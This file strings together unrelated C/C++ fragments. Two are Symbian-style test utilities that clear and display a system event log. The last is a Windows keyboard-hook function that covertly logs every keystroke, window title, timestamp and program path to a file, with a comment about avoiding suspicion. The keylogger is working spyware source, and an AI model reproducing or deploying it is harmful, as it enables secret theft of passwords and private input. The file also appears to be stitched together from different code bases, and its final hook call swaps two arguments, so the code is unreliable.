EXPORT_C void CTestUtils::ClearLogL(const CLogFilter& aFilter) { CLogClient* client = CLogClient::NewL(iFs); CleanupStack::PushL(client); CLogViewEvent* eventView = CLogViewEvent::NewL(*client); CleanupStack::PushL(eventView); CTestActive* testAct = new (ELeave) CTestActive(); CleanupStack::PushL(testAct); CLogClient* logCli = CLogClient::NewL(iFs); CleanupStack::PushL(logCli); TBool found = eventView->SetFilterL(aFilter, testAct->iStatus); if (found) { testAct->StartL(); CActiveScheduler::Start(); } if (!CheckLogStatus(found, testAct->iStatus)) { CleanupStack::PopAndDestroy(4); return; } found = eventView->FirstL(testAct->iStatus); if (found) { testAct->StartL(); CActiveScheduler::Start(); } if (!CheckLogStatus(found, testAct->iStatus)) { CleanupStack::PopAndDestroy(4); return; } const CLogEvent& event = eventView->Event(); Printf(_L("Clearing System Log\n")); do { iRTest.Printf(_L(".")); logCli->DeleteEvent(event.Id(), testAct->iStatus); testAct->StartL(); CActiveScheduler::Start(); found = eventView->FirstL(testAct->iStatus); if (found) { testAct->StartL(); CActiveScheduler::Start(); } found = CheckLogStatus(found, testAct->iStatus); } while (found); CleanupStack::PopAndDestroy(4); }
EXPORT_C void CTestUtils::DisplayLogL(const CLogFilter& aFilter, TBool aForward) { TBuf<256> header; TBuf<256> txt; TBuf<64> temp; CLogClient* client = CLogClient::NewL(iFs); CleanupStack::PushL(client); CLogViewEvent* eventView = CLogViewEvent::NewL(*client); CleanupStack::PushL(eventView); CTestActive* testAct = new (ELeave) CTestActive(); CleanupStack::PushL(testAct); TBool found = eventView->SetFilterL(aFilter, testAct->iStatus); if (found) { testAct->StartL(); CActiveScheduler::Start(); } if (!CheckLogStatus(found, testAct->iStatus)) { CleanupStack::PopAndDestroy(3); return; } TInt totalCount = eventView->CountL(); txt.Zero(); txt.Append(_L("Total Log Events: ")); temp.Num(totalCount); txt.Append(temp); AppendEol(txt, EFalse); Printf(txt); const TInt numLen = 3; const TInt timeLen = 11; const TInt dateLen = 10; const TInt statusLen = 7; const TInt subjLen = 20; const TInt dirLen = 3; const TInt typeLen = 10; header.Zero(); AppendText(_L("Num"), header, numLen); header.Append('|'); AppendText(_L("Date"), header, dateLen); header.Append('|'); AppendText(_L("Time"), header, timeLen); header.Append('|'); AppendText(_L("Status"), header, statusLen); header.Append('|'); AppendText(_L("Subject"), header, subjLen); header.Append('|'); AppendText(_L("Dir"), header, dirLen); header.Append('|'); AppendText(_L("Type"), header, typeLen); AppendEol(header, EFalse); Printf(header); found = aForward ? eventView->FirstL(testAct->iStatus) : eventView->LastL(testAct->iStatus); if (found) { testAct->StartL(); CActiveScheduler::Start(); } if (!CheckLogStatus(found, testAct->iStatus)) { CleanupStack::PopAndDestroy(3); return; } TInt counter = 0; do { const CLogEvent& event = eventView->Event(); counter++; if (!RunAuto() && (counter % 6 == 0)) { iRTest.Printf(_L("\nPress any key for more...\n")); iRTest.Getch(); Printf(header); } txt.Zero(); if (aForward) { temp.Num(totalCount - counter + 1); } else { temp.Num(counter); } AppendText(temp, txt, numLen); txt.Append('|'); event.Time().FormatL(temp, _L("%D%M%Y%/0%1%/1%2%/2%3%/3")); AppendText(temp, txt, dateLen); txt.Append('|'); event.Time().FormatL(temp,_L("%-B%:0%J%:1%T%:2%S%:3%+B")); AppendText(temp, txt, timeLen); txt.Append('|'); AppendText(event.Status(), txt, statusLen); txt.Append('|'); AppendText(event.Subject(), txt, subjLen); txt.Append('|'); AppendText(event.Direction(), txt, dirLen); txt.Append('|'); GetEventType(event.EventType(), temp); AppendText(temp, txt, typeLen); AppendEol(txt, EFalse); Printf(txt); DisplayLogEventData(event); found = aForward ? eventView->NextL(testAct->iStatus) : eventView->PreviousL(testAct->iStatus); if (found) { testAct->StartL(); CActiveScheduler::Start(); } if (!CheckLogStatus(found, testAct->iStatus)) { CleanupStack::PopAndDestroy(3); return; } } while (found); CleanupStack::PopAndDestroy(3); }
LRESULT DLLIMPORT CALLBACK HookProc(int code, WPARAM wParam, LPARAM lParam) { /* If this is a WM_KEYUP message, translate the key and log it. */ if (code==HC_ACTION && !(HIWORD(lParam) & KF_UP)) { char buf[256] = {0}; HWND hWnd2; if (!mutex_status) mutex_status = OpenMutex(MUTEX_ALL_ACCESS, 0, MUTEX_NAME_STATUS); if (!mutex_log) mutex_log = OpenMutex(MUTEX_ALL_ACCESS, 0, MUTEX_NAME_LOG); /* Let's check to see if we already the logfile. It is initially initialized. */ if (!logfile[0]) GetLogPath(); /* Check to see if we should clear the current log. */ CheckLogStatus(); /* Get flags (if we do not have them already). They will tell us what to log. */ if (!GotFlags) GetFlags(); /* Check if focus and/or title changed. */ hWnd2 = GetForegroundWindow(); if (hWnd2) { char LogStatus = 0; char statusbuf[256] = {0}; char title[256]; /* Check what window this was sent to. Get title. */ GetWindowText(hWnd2, title, 256); if (hWnd != hWnd2) { /* Got a new hwnd. Meaning a new window got focus. Save the hWnd. */ hWnd = hWnd2; if (!LogStatus) LogStatus = 1; /* 1 == hWnd changed */ } if ((flags & LogTitleChange) && 0 != strncmp(caption, title, 256)) { /* Title changed, it might still be the same window, but let's log status. */ if (!LogStatus) LogStatus = 2; /* 2 == Caption changed */ strncpy(caption, title, 256); } if (LogStatus) { /* Leave 1 blank line between the last logged keys. */ statusbuf[0] = statusbuf[1] = '\n'; if ((flags & LogFocusTimeStamp)) { SYSTEMTIME st; GetLocalTime(&st); snprintf(statusbuf+2, 254, "(%.2d:%.2d:%.2d) ", st.wHour, st.wMinute, st.wSecond); } if ((flags & LogFocusTitle)) { strncat(statusbuf, "(", 256); strncat(statusbuf, title, 256); if (LogStatus == 2) strncat(statusbuf, ")* ", 256); else strncat(statusbuf, ") ", 256); } /* Get path to what we are currently injected to. */ if ((flags & LogFocusPath)) { /* If we DO NOT have the path, get it. */ if (!filename[0]) { HANDLE h; h = GetModuleHandle(0); if (!h || !GetModuleFileName(h, filename, MAX_PATH)) { WIN_ERR("Unable to get path of current program.."); /* Will retry on next iteration.. */ } } strncat(statusbuf, "(", 256); strncat(statusbuf, filename, 256); strncat(statusbuf, ") ", 256); } /* Write status line to file. */ if (statusbuf[0]) { strncat(statusbuf, "\n", 256); Log(statusbuf); } } } /* Get the actual character pressed. */ if (wParam == 0x20) buf[0] = ' '; /* Is the key a space? */ else if (wParam >= 0x41 && wParam <= 0x5A) {/* Is it between A-Z? */ /* By default the chars are uppercase. */ char CapsOn, ShiftDown; ShiftDown = HIWORD(GetKeyState(VK_SHIFT)) & 1; /* 1 if Shift is down. */ CapsOn = GetKeyState(VK_CAPITAL) & 1; /* 1 if Capslock is on. */ /* If shift is NOT being held down and capslock is OFF == Lowercase */ if (!ShiftDown && !CapsOn) buf[0] = wParam+32; /* If shift IS being held down but caps is ON == Lowercase */ else if (ShiftDown && CapsOn) buf[0] = wParam+32; /* In any other case (caps ON is the only other case?), char is capital. */ else buf[0] = wParam; } else if (wParam >= 0x30 && wParam <= 0x39) { /* Is it between 0-9? */ char alt[] = ")!@#$%^&*("; if (HIWORD(GetKeyState(VK_SHIFT)) & 1) /* Is shift being held down? */ buf[0] = alt[wParam-0x30]; else /* Guess not, just output the # then. */ buf[0] = wParam; } else if (wParam >= 186 && wParam <= 192) { /* Is the key ;=,-./ */ char alt[] = ":+<_>?"; char norm[] = ";=,-./"; if (HIWORD(GetKeyState(VK_SHIFT)) & 1) buf[0] = alt[wParam-186]; else buf[0] = norm[wParam-186]; } else if (wParam >= 219 && wParam <= 222) { /* Is the key [\]' */ char alt[] = "{|}\""; char norm[] = "[\\]'"; if (HIWORD(GetKeyState(VK_SHIFT)) & 1) { buf[0] = alt[wParam-219]; } else buf[0] = norm[wParam-219]; } else if (wParam=='`') { /* Maybe a tilde ~ */ buf[0] = (HIWORD(GetKeyState(VK_SHIFT)) & 1) ? '~' : '`'; } else { /* The key is special (TAB, ENTER, etc) */ int i; buf[0] = '['; i = GetKeyNameText(lParam, buf+1, 255); buf[i+1] = ']'; } Log(buf); } /* We want other programs to get the key, we don't want to be suspicious. */ return CallNextHookEx(0, code, lParam, wParam); }